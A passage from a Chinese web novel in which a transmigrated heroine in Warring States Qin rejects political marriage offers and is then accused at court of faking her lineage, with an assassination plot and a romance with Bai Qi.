楚越打开门,魏冉身后,还跟着惊魂未定的嬴壮。 “公孙呢?”魏冉忧心忡忡问道。 楚越摇头,“她应该已经出城了,我相信辛。” 没有人比百姓更懂得生存之道,尤其是底层百姓。 “现在怎么办?”嬴壮吓得浑身发抖。 对一个十五六岁的孩子来说,能有上战场的勇气,已经可嘉,楚越也不能指望他在城破的情况下,还能保持镇定。 “先走吧,只要公子没事。”楚越询问魏冉的意见。 保护公子,也是一桩功。 魏冉点头,“走。” 三人正准备动身离去,却听一阵鼓声,从远处传来,这是,秦军进攻的号令。 援兵。来了。 魏冉和楚越顿时站了起来,开门迎敌。 “你先带着公子走,我在这里接应。”魏冉对楚越道。 “好。” 楚越一脚踹开一个义渠士兵,拽着嬴壮,往秦军方向而去,魏冉则带着人,在城中搜索其他秦军,与外边的秦军,里应外合。 义渠不用再思索战或者不战了。 秦国已经缓过神了。 义渠人狼狈退出了李帛城,逃之夭夭,漫天扬尘落下,楚越望着只剩下零散尸体和不愿离开主人的马匹的山坡,心想,跑得真够快! 游牧民族的优势,正在于此。 很难追的上。 打得赢,他们就骚扰,打不赢,他们就跑。 楚越望着义渠人逃跑的方向,气得狠狠跺了一下脚。 懦夫。 废物。 有本事回来再打! 一生气,眼前就渐渐发黑,楚越顺了顺自己的胸口,手一按上去,才发现自己心跳的厉害,眼前,越来越黑。 好熟悉的感觉,有点像 熬大夜写论文写到最后的飘飘欲仙 不对,她当时是猝死了啊。 身体接触地面的触感清晰,难道自己要回去了吗? 可是她还没有和白起告别。 白起 世界陷入黑暗前,她最后看见的,是白起焦急的面容。 一定是猝死了,都走马灯了。楚越想。 梦中景象光怪陆离,她梦见了一场大火,火苗舔舐着她的衣角而上,熊熊火焰,烧得她全身每一寸肌肤都很疼,楚越想要逃跑,腿却使不上一点力气。 死腿,怎么不听使唤。 火越烧越旺,她快要被烧死,匍匐在地面,一阵风吹过,夹杂着熟悉的感觉,迎面袭来,烈火尽数褪去,有人走到了她面前,楚越抬起头,用力去看那人的脸 她越用力去看,那张脸越模糊 楚越满头大汗,从噩梦中惊醒,眼前视线还未恢复,便陡然跌入一个结实温暖的怀抱。 一别忘了多久了,白起憔悴了不少,眼下乌青,下巴上胡茬稀疏,楚越刚想说些什么,嘴一动,唇上却传来阵裂痛。 “喝点水。” 白起一手抱着她,另一手端起桌边早准备好的清水,楚越刚好也渴了,谁料低头一看,水面倒映一张熟悉而陌生的脸。 哦,哪儿来女鬼。 原来是熬了几个月的她。 她的黑眼圈,比起白起,有过之而无不及,眼中血丝密布,脸颊凹陷,嘴唇干裂。 男鬼和女鬼,天生一对。 她将整碗水一口气喝完了,才感觉到口渴,白起又倒了一碗,喂她喝下。 “函谷关,打赢了吗?” “嗯。” 函谷关前,大局已定。 燕国没有出兵,开战之前,秦国就派人到燕国国内散布消息,声称燕国若是出兵,齐国就要趁燕国国中空虚,来偷家了。 本就出力不讨好的燕国,干脆不出兵了。 别问,问就是还在路上,燕国路远,要慢慢走。 楚国让张仪忽悠了。 五国联军,只剩下三国,魏国和韩国接壤,早年打得鼻青脸肿,赵国势弱,至今仍旧保持低调,对外称君,而非王。 双方在修鱼决战,秦军斩首八万,三晋被打败,一窝蜂的散了,各回各家,决口再不提合纵。 秦国的头顾上了,腚也就保住了。 义渠此时不跑,更待何时? 打完仗,楚越的噩梦才刚刚开始,崩裂的虎口,身上大大小小的伤,剑伤、淤伤、擦伤没有一点致命伤,全是皮肉伤。 她望着婼,流下了这段时间来第一行眼泪。 “可不可以轻一点?” 婼眨了眨眼睛,“我会轻轻的。” 楚越扑进白起怀中,一副视死如归模样。 秦军收复李帛,辛也带着嬴缃回来交差了,楚越和魏冉悬着的心,才放回胸膛。 战后,秦依例论功行赏,辛因为逃跑,并不在嘉奖的名单,但楚越还是决定自掏腰包,给她一份财帛。 “我不要。”辛拒绝的干脆。 楚越愣住了,“嗯?” 视金钱如粪土吗? “有钱有什么用。”少女语气中,带着强烈的不满,“钱给我,我也守不住,他们拿着这些钱,只会给他们喜欢的孩子,我不要!” 楚越笑了下,“那你想要什么,你将公孙保护得很好,应该受到奖赏。” 辛指着楚越腰间的剑道:“我要这个。” 楚越摘下腰间佩剑,双手递给辛,“你喜欢这把剑的话,就拿去吧。” 反正,这剑也不是她的。 嬴华的。 他没往回要,楚越默认这把剑就是自己的了。 辛伸手,抓住剑,楚越却没有松手,辛看向楚越,楚越盯着她漆黑的眼睛,问道:“给你可以,但这是剑,很危险的东西,你得告诉我,你要它做什么。” “我想回原来住的地方,我和一个很好的姊妹约定,会回去找彼此,路上会有坏人,我要这把剑。”辛不假思索道。 “离开家,你要怎么生活呢?你还太小了,难道要和伙伴一起饿死吗?” 辛低下头,“不管,我就要去。” “我可以提前帮你实现,来给我当门客吧。” Boss直聘,offer现场送达。 辛望着楚越,不解道:“什么是门客。” 楚越想了想,松开手,对辛解释道:“门客就是我的客人,我会像对待尊贵的客人那样对待你,给予你衣食,送你读书,你以后若是愿意报答我,便报答我。不愿意,我便为你寻个别的去处。” “那你不是很亏?”辛不解道,“你给我吃穿,却不要我为你做什么,你不是很亏?” 楚越一时哑然。 理论上是这样,主人不需要门客为他做什么,但实际上,门客不能什么都不做,要为主人分忧。 门客多半是士出身,是要脸的。 “也不是,我以后若是遇到困难,你也得帮帮我,否则,我要是没了,还有谁养你呢?” 辛想了想,觉得这事可行,“那好,我答应你。” 一把白得的剑,换一个门客,又是赚了的一天。 李帛之围既解,楚越随大军归咸阳,张仪也已经正式辞别魏王,归来相秦。 两人见面,又是一顿商业互夸,“司巫果真深藏不漏,蛰伏数载,一鸣惊人。” “可惜,秦之宗祝,不交外姓,秦国军功爵,也不授给女子,否则司巫前途,不可限量。” 张仪口气惋惜,却字字句句意有所指。 战后,所有人都受到了奖赏,爵位有所提高,但唯独楚越,魏冉因功一跃成为都尉,但同样守李帛有功的楚越,只受到了一些金钱奖赏。 秦汉的军功爵,不授给妇人,只有在丈夫死后,无子状态,才能继承,活着的时候,妇人享受比丈夫爵位的待遇。 无论是之前伐韩,还是现在抵挡义渠,等着楚越的,不是军功爵,而是财帛黄金。 她没什么晋升的希望。 毕竟,秦人禘少昊而祖颛顼【1】,用祭祀天帝的最高礼仪——禘,祭祀少昊。既是祭祀神灵,也是祭祀先祖,一个外人,为什么要拜秦国的先祖少昊? 自己扫自己祖先的坟头,这个不能乱扫。 帝舜要由陈国来祭祀,祝融非楚国祭祀不可,伯翳一个人,享受秦、赵两份祭祀。 谁的祖先谁祭祀,不可乱祀。 她拜一下自己的先祖巫咸得了。 少昊神之外,秦还祭祀青帝、炎帝、黄帝【2】,但诸神之中,最尊者,当然是秦的先祖白帝少昊,故而,秦国所有巫祝,也以主持祭祀白帝的宗祝,为神官之冠。 不是不给升,真没法儿升。 楚越已经猜到张仪想说什么,连忙抬手,“相邦!打住!别说了,再说,我可要生气了。” 战争已经结束,接下来便是各国邦交重新洗牌。 秦国要想继续连横,就必须稳固和魏国的盟约,立魏国公主所出的公子荡为太子,简直是再好不过的橄榄枝。 张仪。是魏人。 也是连横的践行者,主张秦、魏同盟。 楚越是王后抚养,与公子荡关系密切,若能以一门婚事,打通她前途的同时,拉拢手握重权的秦国宗室,助力公子荡问鼎太子之位。 实在是划算的买卖。 不对,何止是划算。 作为媒人,他还能和宗室改善关系。 简直是共赢,都赢。 但楚越拒绝了。 张仪见楚越态度坚决,一张巧舌如簧的嘴,张了又合,合了又不甘心想要再张,手捏成拳,砸在桌面,恼怒的‘噫’了声,到底还是放弃了。 “你这女子,到底要什么?做个夫人有何不好?有我张仪,堂堂秦国相国给你作保,你还有什么可担忧的?”【你现在阅读的是 】 40-50 第41章 相亲一天相四个 “为一寻常男子,耽误前途,焉知来日,他不会负心?届时,便鱼与熊掌兼失,大乱之世,应当先立足,稍割情爱,才能有大作为。” “公子华将军乃秦王手足,将来必定是宗室重臣,公子荡若能得公叔支持,储位如探囊取物,如此一来,小者,王后忧心可解,大者,秦国连横稳固,东出有望,你我前途,亦光明灿烂。” “届时,你内有王 后,外有我,兼拥立公子荡之功,伐韩、守李帛之绩,莫说一个季孟夫人,就算是季孟夫人的父兄族人,加起来,也未必是你对手。” “取嫡不过翻掌,权势、地位、前途,皆在你眼前,天下多少士子,争破头颅,多少将士,染血沙场,为的无非这功名二字。” “司巫不能只看当下,也要看将来,公子荡,就是秦国的将来。司巫杀公子壮门客,已经得罪了公子壮,难道就不怕公子壮一朝得立,记恨司巫吗?” “我不!” 张仪连篇大论,分析利弊,却只换来了楚越两个字,“我不”。 “你”张仪一时哑然,气得直起身来,“你怎么什么话都不听!君子要虚怀纳谏,你如此闭塞视听,早晚要惹大祸上身。” 楚越见凭口舌在列国逞凶的张仪,在自己面前吃瘪,不由笑了。 秀才遇上兵,纵横家遇上倔驴。 有嘴也说不清。 楚越悠悠道:“我心匪石,不可转也。我心匪席,不可卷也【1】。相邦与其劝我,不如想想别的法子,去劝真能虚怀纳谏的君子,咱们的王上,让他封我些什么。” 张仪叹口气,“秦国没有能给你做的官,若有,王上早就封给你了,岂会等到现在。” “那封点地也行。” 张仪严肃看向楚越,楚越自知理亏,“算了,爵都不给,更不可能给地了。不能给爵,也不能给封地,那更应该将白起封给我。” 楚越振振有词。 她为大秦流过血,她为大秦流过泪,大秦不能这么对她,八百个美男就不要了,弱水三千,她只要白起。 张仪深吸口气,恨铁不成钢道:“我简直对牛弹琴!” 说罢,他拂袖而去。 “相邦慢走。”楚越屁股都没抬,冲门外道。 张仪坐过的席子还未凉,宫中的寺人便坐了上去。 楚越抬眸,扫了一眼对面寺人那张不男不女,挂着令人不适笑容的脸,双手将杯盏奉了上去。 “少监,请。” 来人是卫夫人身边的少监,楚越少时不听卫夫人话,卫夫人想要打她,是他向卫夫人进言,才让楚越免于一顿皮肉之苦。 虽然知道他还是为了卫夫人着想,不想让她因为自己,使卫夫人见罪于嬴驷,但毕竟为自己说过话,楚越记得,便以礼相待。 没往酒里面加东西。 很道德。 “夫人从公子处,得知司巫曾在李帛城破时,以命相护公子,十分感动,特命奴婢送来厚礼重谢司巫。” 一具漆箱抬到堂上,打开一看,满满都是麟趾金,楚越扫了一眼,这一箱,少说有二百镒。 秦制,一镒二十两。 卫夫人出手,过于大方了。 当日王子芾出生,芈夫人赏赐,也不过五十镒,王后尚觉得芈夫人的上次厚重,卫夫人一出手,就是芈夫人的四倍不止。 仇人送大礼? 这不是那谁给那谁拜年吗? “保护公子,职责之内,夫人赏赐,万不敢受。”楚越推辞道。 少监一笑,“这不止是为了谢司巫,夫人还有一事,想请司巫相助。” 楚越若有所思,“少监请讲。” “公子渐长,夫人正为公子婚事忧心。” 楚越推辞道:“在下交友不广,恐怕无能为夫人分忧。” “司巫误会了,不是想请司巫做媒,而是夫人有意于司巫。” 楚越瞪大了眼睛。 这是人话吗? 嬴壮?跟她? 她可是看着嬴壮这小破孩长大的。 但再一想,她的确比嬴壮大不了几岁,三岁 女大三,抱金砖? 她现在想一砖头砸死出馊主意的人,想都不用想,能为卫夫人出谋划策的,除了眼前人,恐怕再没有别人。 少监没注意到楚越神情变化,依旧喋喋不休道:“昔年夫人曾抚养司巫,司巫与公子,也曾共处,彼时虽然年纪尚小,但也算相识。” “公子与司巫,都是正该婚嫁之年,司巫于秦有功,公子,是大王的长子,将来” 说到这里,少监的声音压低,“公子若得储位,司巫就是将来秦国的王后,退一万步,即便不当立,也少不得封君,司巫便是君夫人。” 这边价开得更高。 秦国王后的位置都拿出来了。 楚越盯着少监,心想自己是先抽他左半边脸,还是右半边脸,少监见楚越盯着自己,若有所思,以为她心动,又道: “公子有军功在身,王后的公子荡尚且年幼,不过稚子,等他长成,还不知要多久,即便一时得立,焉知将来” 话音未落,楚越已经纠结完毕,右手狠狠抬起,照着少监的脸就是狠狠一耳光。 “放肆。” “立储乃国家大事,岂容你一个阉宦在此多嘴。” “大王春秋正盛,你竟敢妄议立储,是诅咒大王吗?按律当枭首。” 少监捂着脸,惊慌下跪,求饶道:“司巫恕罪。” “奴婢,奴婢奴婢是在胡说八道。” 楚越深呼出口浊气,冷冷道:“滚!” 辛一直坐在门口,送走张仪,又目睹少监跌跌撞撞从里面跑出来,她往里探头,见楚越面色不嘉,于是在少监仓惶下台阶时,伸出了脚。 但听噼里啪啦一顿杂声,少监的帽子骨碌滚到了院子角落,几个小寺人搀扶起少监,又捡回他滚出去的帽子,双手奉上,“少监。” 少监回头,狠狠望了一眼身后辛,带着怨恨的视线,又投入屋中。 他转过头,不甘对身后一众随从道:“走。” 辛将这一切尽收眼底,问屋中楚越道:“你不怕他回去告状吗?” “告状?”楚越冷笑声,“告我什么?告我打他?还是我不同意与公子壮的婚事?” 打他的事情,一旦传开,卫夫人拉拢她一事势必也会暴露,届时,先倒霉的是谁,不好说。 婼拿着一丛鲜艳的野花,蹦蹦跳跳走进内院,她进来时,恰好见少监离开,于是一边脱鞋,一边问辛道:“刚才那是什么人,好狼狈,你打她们了?” 辛好武,不是一般的好武。 短短数十日,她已经跟邻近大大小小的孩子都交过手了,告状的人,从街头排到了街尾。 她才从宫中搬出,住进这宅子没有几天,邻里关系全让辛破坏掉了。 楚越无奈,只能登门向邻居道歉,并让辛一直待在门外,不许离开她视线一步。 辛将楚越给她找的书卷,丢的满院子都是,天天将那把剑挥来舞去,砍的院子里的花花草草缺胳膊少腿。 少监狼狈离去,婼想都没想,便以为是辛。 “不是我。”辛辩辩解道,“我没打他。” 楚越从屋中走出,站在檐下,“我打的。” “气死我了。” “他居然劝我嫁给公子壮。” 楚越深吸口气,最近来介绍对象的人,有点太多了,而且,一个比一个荒唐。 照这样下去,楚越觉得,过几日有人来劝她当王妃,也是可能的。 婼眼珠一转,便猜到发生了什么,笑道:“何止呢。” 她将手中的鲜花递到楚越面前,“给,魏冉给你的。” “嗯?!” 楚越仿佛躲瘟神一般,连后退数步,“不不不,拿远点。” 婼哈哈大笑,“魏冉送花的时候,和你现在的神情,如出一辙,你们真是好笑,哈哈哈。” 楚越蹙眉,大概猜到魏冉也是被赶鸭子上架,望着面前一堆五颜六色的野花,她越看越心烦,“拿走拿走!” 婼笑着将花凑近楚越,“别躲啊,妹妹,你看这花多好看的,说不准是魏冉一大早起来摘的,你可不能辜负他一番心意。” 两人一前一后,婼拿着花,追着楚越,楚越一路狂奔,两人在檐下,你追我赶,辛趁楚越不注意,偷偷往大门方向跑去。 她一边往前跑,一边偷偷看楚越,一不留神,撞上个人,两人相撞,一起跌倒在地。 当即便有侍从扶起来人,另一个侍从上前,揪住辛的手臂,呵斥道:“哪里来的贱婢,敢冲撞我们夫人。” 辛抬腿就要踢那个抓住她的人。 “住手。”楚越当即叫住了辛,辛回头看了一眼楚越,抬起的腿又落了回去,那人见辛胆敢反抗,用力将她一推,骂道。 “你这无礼的贱婢。” 辛咬牙切齿,楚越鞋都来不及穿,径直穿过庭院,扶起辛,冰冷的目光扫过那个辱骂辛的随从,呵斥道:“一口一个贱婢,你又是什么东西。” “好了。”孟夫人理了理 衣服,气定神闲对楚越道:“司巫是贵人,还是不要与婢女计较,未免失了体统。” 来者不善,楚越抓着辛紧绷的手臂,强硬将她塞到婼手中,“你们先下去。” 婼担忧的看向楚越,楚越点头,示意她们先下去。 入内之后,孟夫人也屏退了随从,屋中,一时只剩下她们两人,眼前妇人年过四旬,皮肤松弛,一双眼睛却精明,亮光闪动。 她从袖中取出一封帛书,展开楚越面前,上面画着一张男子的人像,“不知司巫可认得此人?” 楚越垂眸,只觉这人像陌生,“不认识。” “可他却说认识司巫,这人名犀,是魏国人,他有一个弟弟,死在战场。犀在大梁做官,听说弟弟战死,想要收养亡弟的独女,到达村庄却发现,村庄早已毁于战火,他以为那孩子已经死了。” “可是有一个幸存的村民却说,他亲眼看见,那个孩子,被一队贵人所救,往秦国方向去了。” 孟夫人几乎已经将话挑明,就差直接说,这个人就是楚越的伯父。 楚越心中一沉。 原主的亲属,找上门了?! 孟夫人抬眸,紧紧注视楚越,“司巫自称巫咸族裔,可巫咸国去之已久,谁知真假。即便是真,也是三代事,早埋进黄土里。公子华将军,是秦国公子。” “一个是大国公子,一个不过亡国之裔,司巫觉得,这桩婚事,算得上门当户对吗?” 她是为了自己的女儿来的。 季孟夫人嫁给嬴华多年,一直无子,地位本就不稳,楚越对季孟的威胁,是致命的,作为母亲,她不能眼睁睁看着这一切发生。 楚越本就没有嫁给嬴华的打算,垂眸道:“自然不算,夫人放心,我无意公子华将军。” 孟夫人似乎对这回答十分满意,继续道:“但秦国用人,不问出身,司巫有功于秦,秦国,当然会为司巫寻一个好去处。” “我听说司巫在军中,与孟守相识,是吗?” 楚越抬眸,有些诧异,“夫人想为我说媒?想为我说媒的话,不该来找我,而该去问王后。” 孟夫人冷笑声,语气变得冷冽,“我不是同司巫商议,而是来告知司巫,一个欺瞒王上,沽名钓誉的骗子,会是如何下场?司巫应当知道。” 楚越眸光一紧,“你敢威胁我。” 她不仅仅是来为自己的女儿清除威胁的,而是想要一箭双雕。 孟氏 “犀在我府中,还等着面见大王呢。” 孟夫人说完,便起身离去,她前脚刚离开,后脚楚越仿佛被抽去全身力气,瘫倒在地,紧握的拳头,撑在席子,微微颤抖。 原主,居然不是个孤儿,事情有些棘手起来。 第42章 借刀杀人百因必有果,张仪的报应来了…… 当‘派出杀手、杀人灭口’这个大聪明招数从无数计策中脱颖而出,闯入脑海中时,楚越想这次自己大概要完蛋了。 杀掉犀,当下所有困境迎刃而解,但死无对证,并不能让事情平息。 假货,是经不起一丝怀疑的。 犀的出现,像是投入平静水面的一颗石子,怀疑的涟漪一圈圈荡开,而且,只要开了这个头,后面就屡禁不止。 万一再遇到有心人,顺着犀的方向去查,或者再用类似的办法,三人成虎,众口铄金…… 身世,是她最大的软肋。 楚越投鼠忌器,要么从此屈服于孟氏,要么,让这个秘密从此不再是秘密,但所有人都不敢再提。 “备车,我要去见相国。” 张仪得知楚越求见,微微意外,排冗接见了她,楚越知道张仪事务繁忙,故而一落座,便开门见山道: “相邦说的事情,我回去考虑了,觉得相邦说的有理,大乱之世,寄身于一男子,怎么比得了自己权柄在握。但再思之下,又有忧心之处,相邦既然想做这个媒人,肯定也愿意听我诉说担忧吧?” “自然,司巫担心的是孟氏?” “孟氏毕竟是秦国大族,树大根深,若她有心为难我,公子华又顾念旧情,左右为难,我该如何是好。这一点,相邦应该能明白,倘使公孙先生在,相邦能安枕否?” 想当年,他跟公孙衍争宠,秦王也是,顾得了张子,顾不上大良造,左右为难,成了犹犹豫豫何书桓。 大才人人都想要,但多了也不行。 张仪笑了下,“你这比喻倒是妙。这有何难,你既然提到公孙先生,便知该怎么做。” 他可是把公孙衍和跟公孙衍交好的陈轸全排挤走了,公孙衍雕阴一战,斩首魏军八万,可谓战功赫赫,但还是被张仪排挤得,无容身之地。 凭什么后来者居上,因为张仪又争又抢。 “火星不灭,终有复燃一日。” 张仪一惊,“你是要斩尽杀绝?这让季孟夫人归家改嫁便是,何苦咄咄相逼,孟氏毕竟是秦国大族,不至于此。” “也罢。”楚越装作松口,退了一步,“只要他们不生事端,乖乖让出位置,我也就此作罢,但若他们不肯,就另当别论。” 张仪没觉察什么异样,‘嗯’了声,对楚越道:“你放手去做便是。” 楚越起身,“那在下就先告辞了。” 张仪起身相送,又命门客送楚越到大门口,诙等在门外,见楚越出来了,想了想,问道:“司巫来见相邦,可是有要事。” 楚越提裙的手一顿,扫了一眼诙,短暂犹豫,肯定道:“是。” “愿为司巫分忧。” 楚越提裙上车,对诙道:“先回去。” 两人回到府邸,还未入内密谈,婼便脚步匆匆迎了出来,见她满脸喜色,楚越往屋中望了一眼,问道:“白起来了?” “对,你的白起来找你了!” 楚越心情一时凝重,看了一眼诙,“你先下去吧,晚些时候再来见我。” “是。” 楚越每一步,都走的沉重,她有些不知道该如何面对白起,又或者说,她还没有完全想好。 君子一诺,驷马难追,食言而肥,是要付出代价的。 在白起和得罪张仪之间,她还没有想好。 得罪了宗室,又要利用、得罪相国,楚越觉得,自己可太行了。 她真的还想在秦国混吗? 怀着纠结,楚越在离白起数步远的距离停下脚步,蹙眉打量着他,他来的匆忙,连甲胄都不曾换下,枣红戎服,外罩轻便漆甲,双板长冠,罩住编髻。 见楚越望着自己,白起低头,左右看了看自己,没看出什么异样,抬眸,望向楚越的视线狐疑。 “怎么了?” 楚越没有说话,只是望着他,若有所思,白起更困惑了,须臾,他似乎是觉察到了什么,垂眸,又抬起,漆黑的眼睛注视楚越的眼睛。 白起望着楚越,试探性,缓缓展开手臂,楚越往前走了两步,又止住,她深吸口气,到底还是朝他跑了过去。 她扑进白起怀中,那双有力的手臂随之合拢。 爱人的怀抱温暖坚实,楚越埋首白起怀中,勉力平复内心对未知的恐慌。 张仪在忽悠人的时候,一定想不到,自己有一天会被人忽悠。 不管了,他该。 出来混,一报还一报。 白起紧紧抱着楚越,他明显可以感觉到怀中人的脆弱,那是一种介于愧疚与恐惧之中的情绪,一如她当年第一次杀人时的样子。 只是,比那时候少了很多恐惧,也不如过去愧疚,她变得镇定、稳重。 楚越一定是做了什么亏心事,白起想。 但他什么也没有 问,只是抱紧了她,等着她先开口。 “我不想这样。”楚越在白起怀中道。 白起低头,望向怀中人,楚越抬眸,凝视白起深黑的眼睛,蒙上层雾气的眼中,目光坚决,“这不是我原本的计划,可是已经走到这步,就不能再停下。” 一个人是杀,十个也是杀,千百,也不过数字。 摧毁敌人最好的方式,就是摧毁他的□□,人一旦死了,就什么也没有了。 敌人死了,她才能活。 是他们错在先。 楚越这么告诉自己,心中愧疚愈发减弱,杀心逐渐坚定,她才不在乎孟氏有多少人,有多少人会因此无辜受牵。 “你原本,打算做什么?” 楚越眨了眨眼睛,垂眸认真想起来,那些计划,理想得像是白日梦。 “我原本……打算离开秦国,去找张仪,想办法,在魏国出名。” 楚越本来打算效仿张仪,挟秦威势去往他国,而后再积累他国威势,回到秦国,只要她对君主的依赖性降低,君主对她的控制也会相应减弱。 在秦国长大的孤儿,只依靠于秦王,可是如果有另一位君王也欣赏她,高位以待。两位王之间竞争,那楚越还愁人会催婚吗? 去往他国做官,需要更大的名声。 毕竟,秦国本土品牌,和国际通用品牌,还是有差距的。 战国没什么做官的机会,不打仗,只能想办法营销自己,让自己成为名士。 只有成为名士,才有让别国君主听到的机会,才能获得试用期资格,以待转正。 楚越在秦国,没等到扬名列国的机会,先等来赐婚,这打乱了她的计划,她只能仓促逃离秦国,去往别国,等待时机,再修练出一些‘名’。 “可是人算不如天算,我没有走出秦国疆域,稀里糊涂,进入了军营。遇见了你,还意外,接触了军功,我最终,还是在秦国实现了自己的计划。” 虚名,当然没有军功切实。 她参与战争,要的不是军功爵,是名。 能扬名列国,让列国为之侧目,虚位以待的名,然后,再挟列国之势,对秦王产生一定制衡。 想到这里,楚越愤恨道:“他们该死。” 原本可以相安无事,非要打破她的计划。 新的计划 “如果有一天,我对不起你,你会恨我吗?”楚越忽然问道。 白起看向她,她却垂下了眼睛。 她猛然抬起头,死死盯着白起的眼睛,想从中找出一丝情绪,无论是脆弱、不可置信、亦或是恼怒,都可以,只要有一点点,任何情绪,都可以成为她逻辑闭环的借口。 如果有一个人,在她最爱他的时候负了她,无论何种理由,无论何种情况,她都不会原谅他,甚至恨他。 推己及人,楚越想,或许白起也会恨她。 如果对方先恨她,她就可以理所应当抛弃他, 她在秦国得罪的人太多了,多到有时她都不敢去想,宗室、嬴壮、卫夫人孟氏 再得罪相国,楚越是恐惧的。 她盯着白起的眼睛,目光已然急迫,她希望能找到一个合理的借口,可白起却摇了摇头,“不会,你一定有自己的理由。” 楚越愤怒捧住白起的脸,声泪俱下,“不可以,你不可以这样想!我宁可你恨我,恨我为什么要这么对你,你不恨我,我怎么坦然面对将来。” 爱情跟命比起来。 那可不好选了。 计划屡屡被打乱,忽然发生的意外,威胁性命,积压的沉重压力,压得楚越快喘不过气。 有一瞬,她想要认命,有什么不好呢?权势、地位、将来,尽在掌控,又何必去面对令人未知的恐惧,她只是想过几天安稳的日子。 不杀人,不被人杀。 “那你就不要放弃!”白起挣开楚越的手,握住她肩膀,用力吻了下去,楚越推开他,大骂道:“你混蛋,你知道我会愧疚才说出这样的话是吧。” 白起没有回答。 肩膀再一次被握住,少年炙热的吻,雨点般袭来,打乱楚越的思绪,她想要冷静下来,对方却刻意要拨乱她的心弦。 肋骨做弦,被一根根缓慢拨响,蒙在心口的皮肤,起伏跳动,宛若被敲响的鼓点,楚越难挨的抻长脖颈,呼吸破碎急促,全身的力气,似乎都被抽走 楚越俯在榻上,已经全然冷静下来,白起的脸,近在咫尺,他也正望着自己,漆黑的眼中,寂静无澜,楚越看不穿,究竟是他真心,还是他知晓自己的软肋,刻意为之。 她抬起手,抚上白起半边脸颊,军旅苦寒,风吹日晒,他的皮肤粗糙,楚越掌心,薄茧却因停止武事,渐渐剥落。 “要是有一天,我死了,也一定是你害的。” 白起握住了她的手,“我不会让你死的。” 楚越往前,亲上白起的唇,鼻尖相对,两人的呼吸缠在一起,楚越低声道:“我不放弃,你也不能放弃,你要积攒军功,知道吗?” 只能硬扛了。 得罪就得罪了吧,大不了以后苟着。 等白起军功上位了,他们携手再闯一下。 有些路,非走不可。 哪怕是愚蠢的、飞蛾扑火的,也得踏上。 谁让,她被男色所困。 唉,男色误她,想到这里,她又亲了亲白起的唇,白起捧住楚越的脸,目光复杂。 他想,如果自己足够强大,是否就能庇护她。起码,不让她一个孤军奋战,而与她,同仇敌忾。 可是他还做不到。 大乱之世,弱小也是一种罪过,他还太年轻,在最无能为力的年纪。 得不到的时候,想要抓住,抓得越紧越好,等得到了,便只剩下捧在手心的小心翼翼,他心疼的望着楚越,恍惚间,仿佛又看到了那个因为杀人而愧疚的少女。 她不该过这样的生活,双手染血,白起心中执念,丝丝散去,只剩下得到后的释然与平静。 比起生死不知,他更希望她,能脱离苦海,好好生活。 “你”白起开口,似乎想说些什么。 楚越早捕捉到他眼底情绪变化,猜出他想说什么,一把捂住了他的嘴,“你要敢扰乱军心,我可要对你不客气了,军法论处。” 她口气随意,“怕什么,大不了跑。” “跑去哪儿?”白期抓住楚越手腕,将她的手挪开。 楚越不假思索道:“楚国。” 列国之中,楚人最好巫,古时巫咸国,今归属于楚国巫郡,她作为巫咸国后人,返回故土,名正言顺。 原本,她也是打算去楚国的,秦齐楚三大国鼎立,能制衡秦王的,非齐王便是楚王。显然,有巫风基础的楚国,比齐国更适合她发展一些。 “等我,我会来接你。” 楚越认真盯着白起的眼睛,直起身,单臂抵在他喉咙,威胁道:“你敢不来找我,我跟你没完。” 白起抿唇,神情微微变化,“下来。” “嗯?” 等楚越反应过来,已经有些迟了,她往下看了一眼,“你” 第43章 暴风雨前的宁静幕后之人居然是公孙衍…… 张仪办事的效率很高,次日,楚越就受到了秦王的召见,宣室殿中,人满为患,秦王、王后,芈、卫两位夫人都在,公子们各自站在生母身后。 下首则立着朝臣,嬴疾、嬴华、张仪等人俱在,还有几个老东西,其中一人,正是孟夫人的丈夫,秦国内史孟尹。 内史掌管国都附近事宜,与郡平行,却贵于郡,但咸阳是秦王居住之地,内史并无太大实权,徒有其尊位,非常适合用来安置老世族。 “司巫,孟大夫要告发你。”秦王的脸色很沉。 楚越从容道:“哦?告发?不知孟大夫要告发臣什么?臣可不敢触犯秦法。” “孟大夫?” 秦王一挥手,孟尹看向身后 ,当即便有一中年男子站出,看年纪,约莫三十多岁,他上前奏道:“大王,臣要奏司巫楚越,伪造身份,蒙蔽欺骗大王。” 楚越装出微微意外的模样,“哦?此话从何说起。” 孟大夫指着她道:“楚越并非巫咸后裔,乃是魏人,假冒巫咸族裔,虚张声势,欺骗秦国,欺瞒大王。” 楚越冷笑声,“匹夫。” 她开口就是一句战国国粹。 孟大夫显然没料到楚越会在众目睽睽下骂他,尤其秦王还在,她竟毫不收敛,直接口出狂言,他先是一愣,而后气血上涌,指着楚越,愤怒道: “你!你!” “你竟敢辱我!” 张仪见状,适时站出来,责备楚越道:“司巫,大王王后面前,岂可无礼。” 这句话提醒了楚越,也警示孟大夫,他不得不按耐下胸中怒火,楚越则不痛不痒请罪道: “大王恕罪,实在是这匹夫无理取闹,空口白牙中伤臣,臣一时愤怒,才会失态,还请大王明察。” 孟大夫声声掷地,“大王,臣有证据。” 他上前一步,请求道:“魏国官员犀,正侯在殿外,犀能证明楚越乃是犀弟授之女。” “笑话,你随便找一个人来,非说是我亲眷,他便真是我亲眷吗?你有什么证据,能证明我与他是血亲?” 这是个没有亲子鉴定的时代。 孟大夫冷哼一声,“大王,司巫得知犀的存在,派刺客前来刺杀,被臣擒获,正在殿外。刺客已然招供,说自己是司巫门客,奉命刺杀犀。” “带上来。”秦王道。 一夜未归的诙,出现殿上,脸上带伤,众人见此,皆是神情一变,纷纷看向楚越。 楚越抬眸,对上张仪视线,又低眸避开,张仪眸光一紧,赶在众人反应过来之前,抢先道: “无稽之谈!一个魏人,一个门客,片面之词,能算什么证词?” 孟大夫立刻道:“不止如此,还有公孙先生的门客,也可以作证。” 这下,就连张仪也愣住了。 秦王听见公孙衍也派门客前来,神情变得认真起来,“公孙先生?门客在何处?” 大殿中,一时变得寂静。 上一次楚越与公孙衍的名字同时出现,还是在十数年前,公孙衍,带着楚越来到秦国。这一次,却变成了,公孙衍的使者,前来指证楚越。 门客也被带到堂上,见过秦王,秦王认识他,的确是常跟在公孙衍身旁的亲近舍人。 “一别多年,不知你家主人可还好。” “谢秦王关心,我家主公一切都好。” 孟大夫继续道:“司巫随公孙先生入秦,人尽皆知,敢问先生,你可还记得,公孙先生,是在何处与司巫相遇?” 门客道:“在上郡,我追随主公,自魏入秦,在两国边境,遇见了司巫。当时附近村落,全毁于战火,四处尸横遍野,司巫向主公求救,主公不忍,救了她。” “司巫自称巫咸国后裔,也要入秦,主公便带着她,一道入秦。” 